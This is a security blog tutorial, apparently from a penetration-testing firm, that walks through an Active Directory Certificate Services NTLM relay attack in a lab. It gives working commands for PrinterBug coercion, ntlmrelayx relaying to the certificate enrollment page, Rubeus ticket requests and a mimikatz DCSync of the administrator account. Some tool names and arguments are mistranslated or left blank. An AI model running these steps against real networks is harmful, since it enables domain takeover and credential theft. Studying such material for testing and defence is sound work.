Certificate Service Relaying

After forcing authentication and obtaining the NetNTLM hash of the password of the victim's machine user, we are presented with different exploitation scenarios which we will discuss in various blog entries.

Next, we will talk about Certificate Service Relaying with a practical example in a testing laboratory.

In this first case, the attack consists of reusing the credential captured through a “Coerce Authentication” to authenticate in a misconfigured ADCS (Active Directory Certificate Service) (which is by default), in order to escalate privileges in the domain.

Below are some of the conditions that must be met in order to perform this attack:

• The ADCS must be configured to accept NTLM authentications.

• NTLM authentication is not EPA protected or SMB signed.

• The ADCS is running any of the following services:

• Certificate enrollment policy web service.

• Certificate enrollment web service.

Summary

The exploitation process of this attack is briefly explained below:

1. Gain access to a network configured with Active Directory and a misconfigured ADCS instance. For certain coercion attacks, a domain user will also have to be compromised, regardless of their privileges.

2. Configure listening software on a computer controlled by the attacker to reuse NTLM authentication against the misconfigured ADCS instance.

3. Force authentication of the domain controller (Any “Coerce Authentication” vulnerability) against the machine controlled by the attacker with the software to reuse NTLM authentication.

4. The domain controller authenticates on the machine controlled by the attacker.

5. The credential obtained from the domain controller's machine user is reused to authenticate to the ADCS.

6. The ADCS issues a certificate to the domain controller machine user.

7. Using the certificate obtained in the previous step, a Kerberos TGT ticket is requested.

8. Use the TGT ticket of the domain controller's machine user to request the TGS of any user, or perform a DCSync to obtain the NTDS of the domain.

Test Laboratory Components

Below we briefly describe the assets found in the testing laboratory:

• Attack_Machine – This machine refers to a Kali Linux from where we will carry out the attack to obtain a “Coerce Authentication” and have the software listening for the reuse of the authentication.

• DC.corp.lab – Domain controller with the domain “corp.lab” configured, which will be a victim of the attack. A user named “Bob” will be configured in said domain without privileges to emulate the attack from its compromise.

• CA.corp.lab – Certifying entity within the “corp.lab” domain.

• Windows10 – Computer with Windows operating system previously compromised by the attacker, within the “corp.lab” domain.

Installing specific version of impacket

In order to develop this attack, it is necessary to have a specific version of impacket installed, which is developed to be able to reuse the NTLM authentication obtained against the ADCS. To do this we will follow the following steps:

• Install the Python virtual environments package:

                sudo apt install python3-venv

• Download and check the specific version of impacket needed.

git clone https://github.com/ExAndroidDev/impacket.git

cd impacket

git checkout ntlmrelayx-adcs-attack

Development of the attack

Identify misconfigured ADCS service on the domain

After installing the specific version of impacket, the first step you must take is to identify the ADCS. To do this, multiple tools can be used, among which is a native Microsoft one calledcertutil .

After detecting which server is, you must check if it has the certificate registration web service enabled, to do this we will access the following url from a browser:

http://ca.corp.lab/certsrv/certqus.asp

It should be noted that when accessing said URL it will ask us for a username and password, which will be that of a user from the previously compromised domain (In this case the user “CORP.lab\Bob”).

Once we reach this point, we must check if the domain controller is vulnerable to any of the “Coerce Authentication” attacks explained in other blog posts. In this case, the exploitation will be carried out by abusing the MS-RPC called MS-RPRN using the script Printer Bug.

You must check that the DC has said MS-RPC enabled using the following command:

python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN'

Software development for NTLM authentication reuse 

Next, the attacker's environment must be configured in order to perform the password reuse attack. To do this, the tool called Reply must be configured as follows:

sudo nano /etc/responder/Responder.conf

SMB = Off

HTTP = Off

Next, both the script called respond, responsible for capturing the “Coerce authentication”, and the script called ntlmrelayx previously installed, must be executed to reuse the NTLM authentication obtained against the ADCS.

sudo responder -I eth0 -wd

python3 ntlmrelayx.py -debug -smb2support -t http://ca.corp.lab/certsrv/certfnsh.asp  --adcs --template DomainController

Force authentication and obtaining the certificate issued by the ADCS

Once both scripts are running, the “Coerce Authentication” will be exploited.

python3 printerbug.py "CORP/bob: @dc.corp.lab" attack_machine

After the previous execution, the certificate of the dc machine user will be obtained:

Obtaining the TGT ticket from the domain controller

Once the certificate is obtained, from the Windows 10 computer, we will use the Rubeus tool to request and import a TGT ticket from the domain controller's machine user.

.\Rubeus.exe asktgt /dc: /domain:CORP.LAB /user:DC$ /ptt /certificate:

You must check that the ticket is correctly imported using the following command:

klist

After verifying that it is correctly imported, different actions can be performed, such as, for example, requesting the TGS ticket from the Domain Administrator user:

.\mimikatz.exe

lsadump::dcsync /domain:CORP.lab /user:Administrador

Once the TGS of the domain administrator user is obtained, it is possible to authenticate to the DC with elevated privileges and compromise the entire domain.

This has been the first of hopefully many scenarios to comment on... And which ones do you know? Until the next entry.

Dimas Pastor , Senior Analyst at Zerolynx Group .